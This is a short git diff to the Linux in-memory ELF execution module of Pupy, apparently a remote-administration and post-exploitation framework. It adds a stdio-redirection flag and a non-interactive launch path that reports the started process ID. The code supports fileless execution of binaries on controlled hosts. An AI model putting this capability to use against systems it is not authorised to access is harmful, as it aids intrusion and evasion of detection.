diff --git a/pupy/modules/lib/linux/exec_elf.py b/pupy/modules/lib/linux/exec_elf.py index a4ea05a6..252e4015 100644 --- a/pupy/modules/lib/linux/exec_elf.py +++ b/pupy/modules/lib/linux/exec_elf.py @@ -13,6 +13,7 @@ def mexec(module, path, argv, argv0=None, interactive=False, raw=False, codepage data, argv0, args = argv, no_stdin = not interactive, no_stdor = not interactive, + redirect_stdio = interactive, compressed = True, terminate = interactive ) @@ -44,3 +45,9 @@ def mexec(module, path, argv, argv0=None, interactive=False, raw=False, codepage else: complete.set() module.error('Launch failed. Press ENTER') + + else: + if module.mp.run(): + module.success('Process started: {}'.format(module.mp.pid)) + else: + module.error('Launch failed') diff --git a/pupy/packages/linux/all/memexec.py b/pupy/packages/linux/all/memexec.py index 9bca869f..1b3e49b5 100644 --- a/pupy/packages/linux/all/memexec.py +++ b/pupy/packages/linux/all/memexec.py @@ -194,6 +194,9 @@ class MExec(object): self.pid = pid self.stdin, self.stdout, self.stderr = stdior + if not self.redirect_stdio: + return True + if self.no_stdin: self.stdin.close() self.stdin = None